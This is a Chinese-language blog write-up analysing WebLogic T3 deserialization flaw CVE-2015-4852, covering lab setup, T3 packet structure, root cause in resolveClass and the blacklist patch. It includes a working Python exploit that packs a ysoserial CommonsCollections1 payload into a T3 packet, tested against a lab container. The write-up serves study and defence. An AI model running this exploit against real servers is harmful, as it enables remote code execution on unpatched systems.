前言

之前遇到Weblogic就是工具一把梭,现在来详细分析下Weblogic相关漏洞的原理。

weblogic反序列化主要有XMLDecoder和T3协议。先从T3协议开始,主要是CVE-2015-4852这个漏洞

环境搭建

构建镜像

使用github上的环境:https://github.com/QAX-A-Team/WeblogicEnvironment

下载jdk压缩包和weblogic,然后把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。

执行命令

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

搭建成功

远程调试

需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。

mkdir ./middleware

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

用IDEA打开wlserver文件夹,然后导入coherence_3.7\lib和modules

再把 server/lib 作为依赖进行导入

在配置页面添加Remote并修改端口

T3协议

T3协议概述

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

T3协议结构

T3协议里包含请求包头和请求的主体这两部分内容。

请求包头

请求包的头如下

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

发送一个请求包的头,看看会返回什么

import socket

def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "192.168.111.132"
    port = 7001

    T3Test(ip,port)

返回内容中包含了版本信息

用wireshark抓包

然后追踪TCP流,可以看到在HELO后面会返回一个版本号

请求主体

T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是

t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

借用两张图来描述一下T3协议包的主要内容


第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式

  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

漏洞复现

复现

这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功

from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.111.132"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

查看一下容器里的/tmp目录,发现成功创建了success文件

docker exec  weblogic1036jdk7u21 ls tmp/

payload数据包分析

wireshark添加过滤器

tcp.port == 7001

第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包

来详细看一下第三个数据包,主要有四个组成部分,如下

  1. 数据包长度
  2. T3协议头
  3. 反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
  4. 数据

再回来看看poc,这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。

  • 数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
  • T3协议头是固定的,直接硬编码进去就行
  • 反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据

漏洞分析

CVE-2015-4852

1.weblogic.rjvm.InboundMsgAbbrev#readObject

调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法

2.InboundMsgAbbrev.ServerChannelInputStream#readObject

ServerChannelInputStream继承自ObjectInputStream类,这里重写了resolveClass,但是实际上调用的还是父类ObjectInputStream的resolveClass方法,等于没有做任何防御,导致漏洞的出现。

可以在导入的依赖中看到这个版本自带CommonCollections3.2.0,这样反序列化点和gadget就都有了。利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了

那么现在有一个问题,为什么说resolveClass可以防御Java反序列化?

resolveClass作用

先从resolveClass的作用说起。

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

因为对应的Class对象是在resolveClass这里返回的,所以这里是防御反序列化的关键。重写resolveClass然后再里面添加一个类的黑名单,发现类在黑名单中就抛出错误,这样就无法获取恶意的类的Class对象。此方法一定程度上可以防御反序列化(虽然黑名单过滤效果不好)

weblogic进行反序列化的执行流程图

借用的反序列化攻击时序图

CVE-2015-4852修复

参考这篇文章中的补丁:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤

黑名单的内容,可以看到黑名单过滤了CommonCollections

还参考这篇文章中的修复方式:https://www.anquanke.com/post/id/226070#h2-15

不局限于重写resolveClass

开放在外网的情况下,还可以采用web代理和负载均衡。

  1. web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
  2. 负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

总结

主要学习了以下内容

  1. T3协议的组成和在Weblogic反序列化中的利用
  2. CVE-2015-4852的产生原因及修复,以及resolveClass在防御反序列化方面的应用

参考链接

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://www.anquanke.com/post/id/226070#h3-13

http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/

https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md

https://www.cnblogs.com/0x7e/p/14529949.html

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖